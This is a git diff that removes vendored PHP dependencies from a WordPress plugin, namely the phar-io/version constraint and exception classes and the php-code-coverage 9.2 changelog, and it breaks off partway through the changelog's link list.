5096f2fb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AndVersionConstraintGroup.php +++ /dev/null @@ -1,34 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class AndVersionConstraintGroup extends AbstractVersionConstraint { - /** @var VersionConstraint[] */ - private $constraints = []; - - /** - * @param VersionConstraint[] $constraints - */ - public function __construct(string $originalValue, array $constraints) { - parent::__construct($originalValue); - - $this->constraints = $constraints; - } - - public function complies(Version $version): bool { - foreach ($this->constraints as $constraint) { - if (!$constraint->complies($version)) { - return false; - } - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AnyVersionConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AnyVersionConstraint.php deleted file mode 100644 index 1499f071..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AnyVersionConstraint.php +++ /dev/null @@ -1,20 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class AnyVersionConstraint implements VersionConstraint { - public function complies(Version $version): bool { - return true; - } - - public function asString(): string { - return '*'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/ExactVersionConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/ExactVersionConstraint.php deleted file mode 100644 index 1d675c9c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/ExactVersionConstraint.php +++ /dev/null @@ -1,22 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class ExactVersionConstraint extends AbstractVersionConstraint { - public function complies(Version $version): bool { - $other = $version->getVersionString(); - - if ($version->hasBuildMetaData()) { - $other .= '+' . $version->getBuildMetaData()->asString(); - } - - return $this->asString() === $other; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php deleted file mode 100644 index ec371723..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php +++ /dev/null @@ -1,26 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class GreaterThanOrEqualToVersionConstraint extends AbstractVersionConstraint { - /** @var Version */ - private $minimalVersion; - - public function __construct(string $originalValue, Version $minimalVersion) { - parent::__construct($originalValue); - - $this->minimalVersion = $minimalVersion; - } - - public function complies(Version $version): bool { - return $version->getVersionString() === $this->minimalVersion->getVersionString() - || $version->isGreaterThan($this->minimalVersion); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/OrVersionConstraintGroup.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/OrVersionConstraintGroup.php deleted file mode 100644 index 59fd382f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/OrVersionConstraintGroup.php +++ /dev/null @@ -1,35 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class OrVersionConstraintGroup extends AbstractVersionConstraint { - /** @var VersionConstraint[] */ - private $constraints = []; - - /** - * @param string $originalValue - * @param VersionConstraint[] $constraints - */ - public function __construct($originalValue, array $constraints) { - parent::__construct($originalValue); - - $this->constraints = $constraints; - } - - public function complies(Version $version): bool { - foreach ($this->constraints as $constraint) { - if ($constraint->complies($version)) { - return true; - } - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php deleted file mode 100644 index 302aa311..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php +++ /dev/null @@ -1,33 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class SpecificMajorAndMinorVersionConstraint extends AbstractVersionConstraint { - /** @var int */ - private $major; - - /** @var int */ - private $minor; - - public function __construct(string $originalValue, int $major, int $minor) { - parent::__construct($originalValue); - - $this->major = $major; - $this->minor = $minor; - } - - public function complies(Version $version): bool { - if ($version->getMajor()->getValue() !== $this->major) { - return false; - } - - return $version->getMinor()->getValue() === $this->minor; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php deleted file mode 100644 index 968b809c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php +++ /dev/null @@ -1,25 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class SpecificMajorVersionConstraint extends AbstractVersionConstraint { - /** @var int */ - private $major; - - public function __construct(string $originalValue, int $major) { - parent::__construct($originalValue); - - $this->major = $major; - } - - public function complies(Version $version): bool { - return $version->getMajor()->getValue() === $this->major; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/VersionConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/VersionConstraint.php deleted file mode 100644 index e94f9e00..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/VersionConstraint.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -interface VersionConstraint { - public function complies(Version $version): bool; - - public function asString(): string; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/Exception.php deleted file mode 100644 index 3ea458f3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/Exception.php +++ /dev/null @@ -1,15 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -use Throwable; - -interface Exception extends Throwable { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php deleted file mode 100644 index bc0b0c3e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php +++ /dev/null @@ -1,5 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -final class UnsupportedVersionConstraintException extends \RuntimeException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/ChangeLog-9.2.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/ChangeLog-9.2.md deleted file mode 100644 index 5176ae33..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/ChangeLog-9.2.md +++ /dev/null @@ -1,584 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [9.2.32] - 2024-08-22 - -### Changed - -* Updated dependencies (so that users that install using Composer's `--prefer-lowest` CLI option also get recent versions) - -## [9.2.31] - 2024-03-02 - -### Changed - -* Do not use implicitly nullable parameters - -## [9.2.30] - 2023-12-22 - -### Changed - -* This component is now compatible with `nikic/php-parser` 5.0 - -## [9.2.29] - 2023-09-19 - -### Fixed - -* [#1012](https://github.com/sebastianbergmann/php-code-coverage/issues/1012): Cobertura report pulls functions from report scope, not the individual element - -## [9.2.28] - 2023-09-12 - -### Changed - -* [#1011](https://github.com/sebastianbergmann/php-code-coverage/pull/1011): Avoid serialization of cache data in PHP report - -## [9.2.27] - 2023-07-26 - -### Changed - -* The result of `CodeCoverage::getReport()` is now cached - -### Fixed - -* Static analysis cache keys do not include configuration settings that affect source code parsing -* The Clover, Cobertura, Crap4j, and PHP report writers no longer create a `php:` directory when they should write to `php://stdout`, for instance - -## [9.2.26] - 2023-03-06 - -### Changed - -* Improved the legend on the file pages of the HTML code coverage report - -## [9.2.25] - 2023-02-25 - -### Fixed - -* [#981](https://github.com/sebastianbergmann/php-code-coverage/issues/981): `CodeUnitFindingVisitor` does not support DNF types - -## [9.2.24] - 2023-01-26 - -### Changed - -* [#970](https://github.com/sebastianbergmann/php-code-coverage/issues/970): CSS and JavaScript assets are now referenced using `?v=%s` URLs in the HTML report to avoid cache issues - -## [9.2.23] - 2022-12-28 - -### Fixed - -* [#971](https://github.com/sebastianbergmann/php-code-coverage/issues/971): PHP report does not handle serialized code coverage data larger than 2 GB -* [#974](https://github.com/sebastianbergmann/php-code-coverage/issues/974): Executable line analysis fails for declarations with enumerations and unions - -## [9.2.22] - 2022-12-18 - -### Fixed - -* [#969](https://github.com/sebastianbergmann/php-code-coverage/pull/969): Fixed identifying line with `throw` as executable - -## [9.2.21] - 2022-12-14 - -### Changed - -* [#964](https://github.com/sebastianbergmann/php-code-coverage/pull/964): Changed how executable lines are identified - -## [9.2.20] - 2022-12-13 - -### Fixed - -* [#960](https://github.com/sebastianbergmann/php-code-coverage/issues/960): New body font-size is way too big - -## [9.2.19] - 2022-11-18 - -### Fixed - -* [#949](https://github.com/sebastianbergmann/php-code-coverage/pull/949): Various issues related to identifying executable lines - -### Changed - -* Tweaked CSS for HTML report -* Updated bundled CSS/JavaScript components used for HTML report: Bootstrap 4.6.2 and jQuery 3.6.1 - -## [9.2.18] - 2022-10-27 - -### Fixed - -* [#935](https://github.com/sebastianbergmann/php-code-coverage/pull/935): Cobertura package name attribute is always empty -* [#946](https://github.com/sebastianbergmann/php-code-coverage/issues/946): `return` with multiline constant expression must only contain the last line - -## [9.2.17] - 2022-08-30 - -### Changed - -* [#928](https://github.com/sebastianbergmann/php-code-coverage/pull/928): Avoid unnecessary `is_file()` calls -* [#931](https://github.com/sebastianbergmann/php-code-coverage/pull/931): Use MD5 instead of CRC32 for static analysis cache file identifier - -### Fixed - -* [#926](https://github.com/sebastianbergmann/php-code-coverage/pull/926): Static Analysis cache does not work with `open_basedir` - -## [9.2.16] - 2022-08-20 - -### Fixed - -* [#926](https://github.com/sebastianbergmann/php-code-coverage/issues/926): File view has wrong colouring for the first column - -## [9.2.15] - 2022-03-07 - -### Fixed - -* [#885](https://github.com/sebastianbergmann/php-code-coverage/issues/885): Files that have only `\r` (CR, 0x0d) EOL characters are not handled correctly -* [#907](https://github.com/sebastianbergmann/php-code-coverage/issues/907): Line with only `return [` is not recognized as executable - -## [9.2.14] - 2022-02-28 - -### Fixed - -* [#904](https://github.com/sebastianbergmann/php-code-coverage/issues/904): Lines of code containing the `match` keyword were not recognized as executable correctly -* [#905](https://github.com/sebastianbergmann/php-code-coverage/issues/905): Lines of code in constructors were not recognized as executable correctly when constructor property promotion is used - -## [9.2.13] - 2022-02-23 - -### Changed - -* The contents of the static analysis sourcecode files is now used to generate the static analysis cache version identifier - -### Fixed - -* Reverted rename of `SebastianBergmann\CodeCoverage\ProcessedCodeCoverageData` to `SebastianBergmann\CodeCoverage\Data\ProcessedCodeCoverageData` (this class is marked as `@internal` and not covered by the backward compatibility promise, but it is (still) used directly by PHPUnit) -* Reverted rename of `SebastianBergmann\CodeCoverage\RawCodeCoverageData` to `SebastianBergmann\CodeCoverage\Data\RawCodeCoverageData` (this class is marked as `@internal` and not covered by the backward compatibility promise, but it is (still) used directly by PHPUnit) -* The `ArrayDim`, `Cast`, and `MethodCall` nodes are now considered when determining whether a line of code is executable or not - -## [9.2.12] - 2022-02-23 [YANKED] - -### Changed - -* [#898](https://github.com/sebastianbergmann/php-code-coverage/pull/898): Use content hash instead of `filemtime()` to determine cache hit/miss - -### Fixed - -* [#736](https://github.com/sebastianbergmann/php-code-coverage/issues/736): HTML report generator allows invalid values for low upper bound and high lower bound -* [#854](https://github.com/sebastianbergmann/php-code-coverage/issues/854): "Class Coverage Distribution" and "Class Complexity" graphs are not displayed at full width -* [#897](https://github.com/sebastianbergmann/php-code-coverage/issues/897): `declare(strict_types=1)` marked as uncovered - -## [9.2.11] - 2022-02-18 - -### Changed - -* `CoveredFileAnalyser` and `UncoveredFileAnalyser` have been combined to `FileAnalyser` -* Updated bundled CSS/JavaScript components used for HTML report: Bootstrap 4.6.1, jQuery 3.6.0, and popper.js 1.16.1 - -### Fixed - -* [#889](https://github.com/sebastianbergmann/php-code-coverage/issues/889): Code Coverage depends on autoload order - -## [9.2.10] - 2021-12-05 - -### Fixed - -* [#887](https://github.com/sebastianbergmann/php-code-coverage/issues/887): Document return type of `CodeUnitFindingVisitor::enterNode()` so that Symfony's DebugClassLoader does not trigger a deprecation warning - -## [9.2.9] - 2021-11-19 - -### Fixed - -* [#882](https://github.com/sebastianbergmann/php-code-coverage/issues/882): PHPUnit 9.2.8 has wrong version number - -## [9.2.8] - 2021-10-30 - -### Fixed - -* [#866](https://github.com/sebastianbergmann/php-code-coverage/issues/866): `CodeUnitFindingVisitor` does not handle `enum` type introduced in PHP 8.1 -* [#868](https://github.com/sebastianbergmann/php-code-coverage/pull/868): Uncovered files should be ignored unless requested -* [#876](https://github.com/sebastianbergmann/php-code-coverage/issues/876): PCOV driver causes 2x slowdown after upgrade to PHPUnit 9.5 - -## [9.2.7] - 2021-09-17 - -### Fixed - -* [#860](https://github.com/sebastianbergmann/php-code-coverage/pull/860): Empty value for `XDEBUG_MODE` environment variable is not handled correctly - -## [9.2.6] - 2021-03-28 - -### Fixed - -* [#846](https://github.com/sebastianbergmann/php-code-coverage/issues/846): Method name should not appear in the method signature attribute of Cobertura XML - -## [9.2.5] - 2020-11-28 - -### Fixed - -* [#831](https://github.com/sebastianbergmann/php-code-coverage/issues/831): Files that do not contain a newline are not handled correctly - -## [9.2.4] - 2020-11-27 - -### Added - -* [#834](https://github.com/sebastianbergmann/php-code-coverage/issues/834): Support `XDEBUG_MODE` environment variable - -## [9.2.3] - 2020-10-30 - -### Changed - -* Bumped required version of `nikic/php-parser` - -## [9.2.2] - 2020-10-28 - -### Fixed - -* [#820](https://github.com/sebastianbergmann/php-code-coverage/issues/820): Hidden dependency on PHPUnit - -## [9.2.1] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\CodeCoverage\Exception` now correctly extends `\Throwable` - -## [9.2.0] - 2020-10-02 - -### Added - -* [#812](https://github.com/sebastianbergmann/php-code-coverage/pull/812): Support for Cobertura XML report format - -### Changed - -* Reduced the number of I/O operations performed by the static analysis cache - -## [9.1.11] - 2020-09-19 - -### Fixed - -* [#811](https://github.com/sebastianbergmann/php-code-coverage/issues/811): `T_FN` constant is used on PHP 7.3 where it is not available - -## [9.1.10] - 2020-09-18 - -### Added - -* `SebastianBergmann\CodeCoverage\Driver\Selector::forLineCoverage()` and `SebastianBergmann\CodeCoverage\Driver\Selector::forLineAndPathCoverage()` have been added - -### Fixed - -* [#810](https://github.com/sebastianbergmann/php-code-coverage/issues/810): `SebastianBergmann\CodeCoverage\Driver\Driver::forLineCoverage()` and `SebastianBergmann\CodeCoverage\Driver\Driver::forLineAndPathCoverage()` are marked as internal - -### Removed - -* `SebastianBergmann\CodeCoverage\Driver\Driver::forLineCoverage()` and `SebastianBergmann\CodeCoverage\Driver\Driver::forLineAndPathCoverage()` are now deprecated - -## [9.1.9] - 2020-09-15 - -### Fixed - -* [#808](https://github.com/sebastianbergmann/php-code-coverage/issues/808): `PHP Warning: Use of undefined constant T_MATCH` - -## [9.1.8] - 2020-09-07 - -### Changed - -* [#800](https://github.com/sebastianbergmann/php-code-coverage/pull/800): All files on the inclusion list are no longer loaded when `SebastianBergmann\CodeCoverage::start()` is called for the first time and `processUncoveredFiles` is set to `true` - -### Fixed - -* [#799](https://github.com/sebastianbergmann/php-code-coverage/issues/799): Uncovered new line at end of file - -## [9.1.7] - 2020-09-03 - -### Fixed - -* Fixed regressions introduced in versions 9.1.5 and 9.1.6 - -## [9.1.6] - 2020-08-31 - -### Fixed - -* [#799](https://github.com/sebastianbergmann/php-code-coverage/issues/799): Uncovered new line at end of file -* [#803](https://github.com/sebastianbergmann/php-code-coverage/issues/803): HTML report does not sort directories and files anymore - -## [9.1.5] - 2020-08-27 - -### Changed - -* [#800](https://github.com/sebastianbergmann/php-code-coverage/pull/800): All files on the inclusion list are no longer loaded when `SebastianBergmann\CodeCoverage::start()` is called for the first time and `processUncoveredFiles` is set to `true` - -### Fixed - -* [#797](https://github.com/sebastianbergmann/php-code-coverage/pull/797): Class name is wrongly removed from namespace name - -## [9.1.4] - 2020-08-13 - -### Fixed - -* [#793](https://github.com/sebastianbergmann/php-code-coverage/issues/793): Lines with `::class` constant are not covered - -## [9.1.3] - 2020-08-10 - -### Changed - -* Changed PHP-Parser usage to parse sourcecode according to the PHP version we are currently running on instead of using emulative lexing - -## [9.1.2] - 2020-08-10 - -### Fixed - -* [#791](https://github.com/sebastianbergmann/php-code-coverage/pull/791): Cache Warmer does not warm all caches - -## [9.1.1] - 2020-08-10 - -### Added - -* Added `SebastianBergmann\CodeCoverage::cacheDirectory()` method for querying where the cache writes its files - -## [9.1.0] - 2020-08-10 - -### Added - -* Implemented a persistent cache for information gathered using PHP-Parser based static analysis (hereinafter referred to as "cache") -* Added `SebastianBergmann\CodeCoverage::cacheStaticAnalysis(string $cacheDirectory)` method for enabling the cache; it will write its files to `$directory` -* Added `SebastianBergmann\CodeCoverage::doNotCacheStaticAnalysis` method for disabling the cache -* Added `SebastianBergmann\CodeCoverage::cachesStaticAnalysis()` method for querying whether the cache is enabled -* Added `SebastianBergmann\CodeCoverage\StaticAnalysis\CacheWarmer::warmCache()` method for warming the cache - -## [9.0.0] - 2020-08-07 - -### Added - -* [#761](https://github.com/sebastianbergmann/php-code-coverage/pull/761): Support for Branch Coverage and Path Coverage -* Added `SebastianBergmann\CodeCoverage\Driver\Driver::forLineCoverage()` for selecting the best available driver for line coverage -* Added `SebastianBergmann\CodeCoverage\Driver\Driver::forLineAndPathCoverage()` for selecting the best available driver for path coverage -* This component is now supported on PHP 8 -* This component now supports Xdebug 3 - -### Changed - -* [#746](https://github.com/sebastianbergmann/php-code-coverage/pull/746): Remove some ancient workarounds for very old Xdebug versions -* [#747](https://github.com/sebastianbergmann/php-code-coverage/pull/747): Use native filtering in PCOV and Xdebug drivers -* [#748](https://github.com/sebastianbergmann/php-code-coverage/pull/748): Store raw code coverage in value objects instead of arrays -* [#749](https://github.com/sebastianbergmann/php-code-coverage/pull/749): Store processed code coverage in value objects instead of arrays -* [#752](https://github.com/sebastianbergmann/php-code-coverage/pull/752): Rework how code coverage settings are propagated to the driver -* [#754](https://github.com/sebastianbergmann/php-code-coverage/pull/754): Implement collection of raw branch and path coverage -* [#755](https://github.com/sebastianbergmann/php-code-coverage/pull/755): Implement processing of raw branch and path coverage -* [#756](https://github.com/sebastianbergmann/php-code-coverage/pull/756): Improve handling of uncovered files -* `SebastianBergmann\CodeCoverage\Filter::addDirectoryToWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::includeDirectory()` -* `SebastianBergmann\CodeCoverage\Filter::addFilesToWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::includeFiles()` -* `SebastianBergmann\CodeCoverage\Filter::addFileToWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::includeFile()` -* `SebastianBergmann\CodeCoverage\Filter::removeDirectoryFromWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::excludeDirectory()` -* `SebastianBergmann\CodeCoverage\Filter::removeFileFromWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::excludeFile()` -* `SebastianBergmann\CodeCoverage\Filter::isFiltered()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::isExcluded()` -* `SebastianBergmann\CodeCoverage\Filter::getWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::files()` -* The arguments for `CodeCoverage::__construct()` are no longer optional - -### Fixed - -* [#700](https://github.com/sebastianbergmann/php-code-coverage/pull/700): Throw an exception if code coverage fails to write to disk - -### Removed - -* `SebastianBergmann\CodeCoverage\CodeCoverage::setCacheTokens()` and `SebastianBergmann\CodeCoverage\CodeCoverage::getCacheTokens()` have been removed -* `SebastianBergmann\CodeCoverage\CodeCoverage::setCheckForUnintentionallyCoveredCode()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::enableCheckForUnintentionallyCoveredCode()` or `SebastianBergmann\CodeCoverage\CodeCoverage::disableCheckForUnintentionallyCoveredCode()` instead -* `SebastianBergmann\CodeCoverage\CodeCoverage::setSubclassesExcludedFromUnintentionallyCoveredCodeCheck()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck()` instead -* `SebastianBergmann\CodeCoverage\CodeCoverage::setAddUncoveredFilesFromWhitelist()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::includeUncoveredFiles()` or `SebastianBergmann\CodeCoverage\CodeCoverage::excludeUncoveredFiles()` instead -* `SebastianBergmann\CodeCoverage\CodeCoverage::setProcessUncoveredFiles()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::processUncoveredFiles()` or `SebastianBergmann\CodeCoverage\CodeCoverage::doNotProcessUncoveredFiles()` instead -* `SebastianBergmann\CodeCoverage\CodeCoverage::setIgnoreDeprecatedCode()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::ignoreDeprecatedCode()` or `SebastianBergmann\CodeCoverage\CodeCoverage::doNotIgnoreDeprecatedCode()` instead -* `SebastianBergmann\CodeCoverage\CodeCoverage::setDisableIgnoredLines()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::enableAnnotationsForIgnoringCode()` or `SebastianBergmann\CodeCoverage\CodeCoverage::disableAnnotationsForIgnoringCode()` instead -* `SebastianBergmann\CodeCoverage\CodeCoverage::setCheckForMissingCoversAnnotation()` has been removed -* `SebastianBergmann\CodeCoverage\CodeCoverage::setCheckForUnexecutedCoveredCode()` has been removed -* `SebastianBergmann\CodeCoverage\CodeCoverage::setForceCoversAnnotation()` has been removed -* `SebastianBergmann\CodeCoverage\Filter::hasWhitelist()` has been removed, please use `SebastianBergmann\CodeCoverage\Filter::isEmpty()` instead -* `SebastianBergmann\CodeCoverage\Filter::getWhitelistedFiles()` has been removed -* `SebastianBergmann\CodeCoverage\Filter::setWhitelistedFiles()` has been removed - -## [8.0.2] - 2020-05-23 - -### Fixed - -* [#750](https://github.com/sebastianbergmann/php-code-coverage/pull/750): Inconsistent handling of namespaces -* [#751](https://github.com/sebastianbergmann/php-code-coverage/pull/751): Dead code is not highlighted correctly -* [#753](https://github.com/sebastianbergmann/php-code-coverage/issues/753): Do not use `$_SERVER['REQUEST_TIME']` because the test(ed) code might unset it - -## [8.0.1] - 2020-02-19 - -### Fixed - -* [#731](https://github.com/sebastianbergmann/php-code-coverage/pull/731): Confusing footer in the HTML report - -## [8.0.0] - 2020-02-07 - -### Fixed - -* [#721](https://github.com/sebastianbergmann/php-code-coverage/pull/721): Workaround for PHP bug [#79191](https://bugs.php.net/bug.php?id=79191) - -### Removed - -* This component is no longer supported on PHP 7.2 - -## [7.0.15] - 2021-07-26 - -### Changed - -* Bumped required version of php-token-stream - -## [7.0.14] - 2020-12-02 - -### Changed - -* [#837](https://github.com/sebastianbergmann/php-code-coverage/issues/837): Allow version 4 of php-token-stream - -## [7.0.13] - 2020-11-30 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.2` to `>=7.2` to allow installation of this version of this library on PHP 8. However, this version of this library does not work on PHP 8. PHPUnit 8.5, which uses this version of this library, does not call into this library and instead shows a message that code coverage functionality is not available for PHPUnit 8.5 on PHP 8. - -## [7.0.12] - 2020-11-27 - -### Added - -* [#834](https://github.com/sebastianbergmann/php-code-coverage/issues/834): Support `XDEBUG_MODE` environment variable - -## [7.0.11] - 2020-11-27 - -### Added - -* Support for Xdebug 3 - -## [7.0.10] - 2019-11-20 - -### Fixed - -* [#710](https://github.com/sebastianbergmann/php-code-coverage/pull/710): Code Coverage does not work in PhpStorm - -## [7.0.9] - 2019-11-20 - -### Changed - -* [#709](https://github.com/sebastianbergmann/php-code-coverage/pull/709): Prioritize PCOV over Xdebug - -## [7.0.8] - 2019-09-17 - -### Changed - -* Updated bundled CSS/JavaScript components used for HTML report: Bootstrap 4.3.1, jQuery 3.4.1, and popper.js 1.15.0 - -## [7.0.7] - 2019-07-25 - -### Changed - -* Bumped required version of php-token-stream - -## [7.0.6] - 2019-07-08 - -### Changed - -* Bumped required version of php-token-stream - -## [7.0.5] - 2019-06-06 - -### Fixed - -* [#681](https://github.com/sebastianbergmann/php-code-coverage/pull/681): `use function` statements are not ignored - -## [7.0.4] - 2019-05-29 - -### Fixed - -* [#682](https://github.com/sebastianbergmann/php-code-coverage/pull/682): Code that is not executed is reported as being executed when using PCOV - -## [7.0.3] - 2019-02-26 - -### Fixed - -* [#671](https://github.com/sebastianbergmann/php-code-coverage/issues/671): `TypeError` when directory name is a number - -## [7.0.2] - 2019-02-15 - -### Changed - -* Updated bundled CSS/JavaScript components used for HTML report: Bootstrap 4.3.0 - -### Fixed - -* [#667](https://github.com/sebastianbergmann/php-code-coverage/pull/667): `TypeError` in PHP reporter - -## [7.0.1] - 2019-02-01 - -### Fixed - -* [#664](https://github.com/sebastianbergmann/php-code-coverage/issues/664): `TypeError` when whitelisted file does not exist - -## [7.0.0] - 2019-02-01 - -### Added - -* [#663](https://github.com/sebastianbergmann/php-code-coverage/pull/663): Support for PCOV - -### Fixed - -* [#654](https://github.com/sebastianbergmann/php-code-coverage/issues/654): HTML report fails to load assets -* [#655](https://github.com/sebastianbergmann/php-code-coverage/issues/655): Popin pops in outside of screen - -### Removed - -* This component is no longer supported on PHP 7.1 - -[9.2.32]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.31...9.2.32 -[9.2.31]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.30...9.2.31 -[9.2.30]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.29...9.2.30 -[9.2.29]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.28...9.2.29 -[9.2.28]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.27...9.2.28 -[9.2.27]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.26...9.2.27 -[9.2.26]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.25...9.2.26 -[9.2.25]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.24...9.2.25 -[9.2.24]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.23...9.2.24 -[9.2.23]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.22...9.2.23 -[9.2.22]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.21...9.2.22 -[9.2.21]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.20...9.2.21 -[9.2.20]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.19...9.2.20 -[9.2.19]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.18...9.2.19 -[9.2.18]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.17...9.2.18 -[9.2.17]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.16...9.2.17 -[9.2.16]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.15...9.2.16 -[9.2.15]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.14...9.2.15 -[9.2.14]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.13...9.2.14 -[9.2.13]: https://github.com/sebastianbergmann/php-code-coverage/compare/c011a0b6aaa4acd2f39b7f51fb4ad4442b6ec631...9.2.13 -[9.2.12]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.11...c011a0b6aaa4acd2f39b7f51fb4ad4442b6ec631 -[9.2.11]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.10...9.2.11 -[9.2.10]: 